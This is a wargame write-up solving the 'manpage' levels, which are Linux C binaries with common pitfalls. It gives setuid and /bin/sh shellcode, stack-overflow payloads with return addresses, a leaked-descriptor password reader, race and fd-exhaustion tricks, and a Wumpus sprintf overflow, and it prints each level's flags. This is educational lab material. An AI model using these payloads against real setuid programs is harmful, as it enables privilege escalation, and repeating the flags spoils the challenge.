Description:
This game is about breaking some common linux c-programming misconceptions. A good tactic when beginning to audit code for the first time is to read the manpages for pitfalls and unusual behavior. Many of these levels were inspired by the famous work of Ilja.

Level 0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]){
    char buf[256];
    setuid( getuid() );
    strcpy(buf, argv[1]);
    return 0;
}

We can get the shell with ease when we put our shellcode in the buf when executing strcpy and return to that address. However, the setuid( getuid() ); have taken away our privilege, we need to take it back.

1
2
3
4
5
6
7
8
9
section	.text
    global _start

_start:
    xor ebx, ebx
    xor eax, eax
    mov al, 0x17
    mov bx, 0x4269
    int 0x80

The above assembly code can take our privilege back. It will execute syscall 23, which is setuid with argument 0x4269, which is 17001, because the id of manpage1 is 17001.

After nasm -f elf setuid.asm, ld -m elf_i386 -s -o setuid setuid.o, and objdump -M intel -d setuid, we can get the shellcode "\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42\xcd\x80"

We find that we need 260 bytes paddings to control EIP. In buf, we can put the setuid shellcode and the shellcode to spawn /bin/sh. With /manpage/manpage0 $(python -c 'print("\x90"*100+"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42 \xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80"+"A"*120+"\xd8\xd4\xff\xff")'), we can get the shell and the flag deesohwuno.


Level 0 -> Level 1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
#include <string.h>
#include <signal.h>

int main(int argc, char *argv[])
{
    char buf[256];
    if(!argv[1]) return 0;
    strcpy(buf, argv[1]);
    if(strlen(buf) >= sizeof(buf) - 1) //no obos :)
        raise(SIGTERM);
    return 0;
}

In this challenge, we will trigger signal if we overflow the buffer. To pass this challenge, we need to use signal(SIGTERM, SIG_IGN);, and we can ignore raise(SIGTERM).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include<unistd.h>
#include<signal.h>
#include<string.h>

int main(int argc, char* argv[]){
    
    char* arg[]={
        "/manpage/manpage1",
        argv[1],
        NULL
    };
    char* envp[]={
        NULL
    };
    signal(SIGTERM, SIG_IGN);
    execve("/manpage/manpage1", arg, envp);
}

We can find that we need 260 bytes paddings, so we put our shellcode in buf and return to that address. We execute ./pwn $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b \xcd\x80\x31\xc0\x40\xcd\x80"+"A"*132+"\x48\xdc\xff\xff")'), and we can get the shell and the flag febiukovie.


Level 1 -> Level 2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define PWFILE "/etc/manpage_pass/manpage3"

int main(int argc, char *argv[])
{
    FILE *f;
    char *p;
    char pass[32];
    char buf[2];

    f = fopen(PWFILE, "r");
    fgets(pass, sizeof pass, f);
    pass[strlen(pass)-1] = '\0';

    p = getpass("password: ");

    if(!strcmp(p, pass))
    {
        system("sh");
        exit(0);
    }

    setuid(getuid()); /* dont need privs anymore */

    if(!argv[1])
    {
        argv[1] = buf;
        buf[0] = '\0';
    }

    if( argv[1][0]++ >= 2) exit(0);

    argv[1][1] = '\0';
    execl(argv[0], argv[0], argv[1], 0); /* restart */
    return 0;
}

If the comparison fails, we cannot get the shell, we will lose our privilege, and the program will restart.

However, there is a bug in this program. That is, it did not close the file. What we can do is to make execl execute our own program, and we can use that program to read the opened file.

Below is the C program we are going to use to get our password. We use 3 for our file descripter (0 for stdin, 1 for stdout, 2 for stderr).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(){

    char pass[32];
    
    if(lseek(3, 0, SEEK_SET) == -1){
        printf("lseek error\n");
        return -1;
    }
    if(read(3, pass, sizeof(pass)) == -1){
        printf("read error\n");
        return -1;
    }
    pass[strlen(pass)-1] = '\0';
    printf("Got the password %s\n", pass);
}

Then, we need a C program as wrapper to make argv[0] to our own C program mentioned above, pwn.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include<unistd.h>
#include<signal.h>
#include<string.h>

int main(){
    
    char* argv[]={
        "./pwn",
        NULL
    };
    char* envp[]={
        NULL
    };
    execve("/manpage/manpage2", argv, envp);
}

And finally, we can get our password ailaifeipu.


Level 2 -> Level 3

We got manpage3 and manpage3-reset. Here are the source code.

manpage3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <string.h>

#define PASS_PATH "/manpage/manpage3_password"

int main()
{
    int rfd = open(PASS_PATH, O_RDONLY);
    char buf[256];
    char buf2[256];
    memset(buf, '\0', sizeof buf);
    memset(buf2, '\0', sizeof buf2);
    read(rfd, buf2, sizeof buf);
    fgets(buf, sizeof buf, stdin);

    if(!strcmp(buf,buf2))
    {
        printf("Wow, you should play the lottery!\n");
        setuid(geteuid());
        system("/bin/sh");

    }
    return 0;
}

manpage3-reset

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
/* reset-password */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>

#define PASS_PATH "/manpage/manpage3_password"

int main()
{
    FILE *wf;
    FILE *rf;
    wf = fopen(PASS_PATH,"w");
    rf = fopen("/dev/urandom","r");
    char buf[256];

    fread (buf, 1, sizeof buf, rf);
    fwrite(buf, 1, sizeof buf, wf);
    return 0;
}

There is a file called /manpage/manpage3_password. If we got its value, we can get the shell. However, it is very hard since it has 256 bytes random value.

In this challenge, we have two solutions with similar concepts.

First, we can treat it as a race condition.

1
2
3
4
while [ 1 ]
do
    /manpage/manpage3-reset
done

For fwrite, it needs to delete its content first and write the content to the file. If we execute /manpage3 luckily while keep executing manpage3-reset, we can get /manpage/manpage3_password contains an empty string.

We use ctrl-d as input for empty string, and we can get the shell after 2 to 4 tries.

Second, we can push to the limit of fopen. We can use ulimit -n to check how many files can the process open. If we are getting to the limit, /dev/urandom cannot be opened, and it will write empty string to manpage3_password. That is, we can get the same result as solution 1.

What we can do is to use this script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include<unistd.h>
#include<signal.h>
#include<string.h>
#include<stdio.h>

int main(){

    FILE *f;

    for(int i = 0; i < 1020; ++i){
        f = fopen("/manpage/manpage3", "r");
    }
    char* argv[]={
        "/manpage/manpage3-reset",
        NULL
    };
    char* envp[]={
        NULL
    };
    execve("/manpage/manpage3-reset", argv, envp);
}

Although ulimit -n gives me 1024, I use 1020 at the end because we need to give some quotas for loading shared libraries.

Finally, we can get the flag iaceigicie.


Level 3 -> Level 4

This is a game called Hunt the Wumpus, we have the instructions here.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
WELCOME TO 'HUNT THE WUMPUS'
  THE WUMPUS LIVES IN A CAVE OF 20 ROOMS. EACH ROOM
HAS 3 TUNNELS LEADING TO OTHER ROOMS. (LOOK AT A
DODECAHEDRON TO SEE HOW THIS WORKS-IF YOU DON'T KNOW
WHAT A DODECAHEDRON IS, ASK SOMEONE)

     HAZARDS:
 BOTTOMLESS PITS - TWO ROOMS HAVE BOTTOMLESS PITS IN THEM
     IF YOU GO THERE, YOU FALL INTO THE PIT (& LOSE!)
 SUPER BATS - TWO OTHER ROOMS HAVE SUPER BATS. IF YOU
     GO THERE, A BAT GRABS YOU AND TAKES YOU TO SOME OTHER
     ROOM AT RANDOM. (WHICH MAY BE TROUBLESOME)
TYPE AN E THEN RETURN

We also got a file manpage4.diff

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
31a32
> #include <stdlib.h>
36a38,41
> #define BUFSIZ 2048
> #define LOGFILE "/dev/null"
>
> FILE *logfile;
39d43
< static char inp[BUFSIZ];		/* common input buffer */
98a103,119
> void log_winner()
> {
>     char buf[256];
>     char firstname[256], lastname[256];
>     int t = time(NULL);
>     logfile = fopen(LOGFILE,"a");
>     printf("firstname and lastname?\n");
>     if( !fgets(buf, sizeof buf, stdin) )
>       exit(1);
>
>     sscanf(buf, "%100s %100s", firstname, lastname);
>     sprintf(buf, "%s firstname:%s lastname: %s\n", ctime(&t), firstname, lastname);
>
>     fputs(buf, logfile);
>     fclose(logfile);
> }
>
101a123
>     char inp[BUFSIZ];
113a136
>     char inp[BUFSIZ];
125,126d147
<     char ebuf[BUFSIZ];
<
626c647
<     }
---
>     }
628a650,651
>     if( finished == WIN )
>         log_winner();

Here’s the pseudocode when we decompile the program.

Local Picture

Local Picture

Local Picture

Local Picture

Local Picture

Local Picture

Local Picture

Local Picture

Local Picture

We can see that it adds function log_winner and move away static array from manpage4.diff. It can be a hint.

At last, I found that even though there are some length restrictions in fgets and sscanf in log_winner, if we can have our lastname long enough, we can overflow EIP in sprintf.

In function getnum, we can pass upto 2048 bytes to inp, it is from the address 0xffffce8c to 0xffffd688. And when we execute log_winner, lastname is at 0xffffd3a4, so the previous content in inp can be reserved and treat as the content of lastname.

In fgets of log_winner, we pass CCCC. Later in sscanf, firstname will be set to CCCC, and lastname will not be modified.

First, we need to find a seed which can let us win the game when we shoot 1 shot to room 1, we use this script and find seed = 22.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import sys

for seed in range(0, 1000):
    p = process(["/manpage/manpage4", "-s", str(seed)])
    p.recv()
    p.sendline('N')
    p.recv()
    p.sendline('S')
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline('1')
    data = p.recv()
    print(data)
    if "firstname and lastname?" in data:
        print("Success")
        print("The seed is %d" % seed)
        sys.exit()
    else:
        print("Wrong with seed %d" % seed)
    p.close()

We put the shellcode on the environment variable export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")'). And its address is 0xffffdf04.

After getting the seed number, we can get the shell by (python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n" +"CCCC\n")'; cat) | /manpage/manpage4 -s 22. N for not show the instruction, S for shoot, first 1 for 1 room, the other 1 for room number 1, but we add lots of paddings after our room number.

We need 1303 bytes for 0xffffd3a4 - 0xffffce8c = 1304. 1303 plus the previous “1” is 1304. In spintf of log_winner, the string %s firstname:%s lastname: %s\n will be put to buf, which is at $ebp - 0x100, ctime is 25 bytes, space for 1 byte, “firstname:” for 10 bytes, “CCCC” for 4 bytes, " lastname: " for 11 bytes, that is 51 bytes, plus 209 bytes paddings in %s from lastname, there are 260 bytes, and it cover the return address perfectly, the next 4 bytes “\x04\xdf\xff\xff” can cover up EIP.

And we can get the shell and the flag vahshaihug.


Level 4 -> Level 5

Not done yet.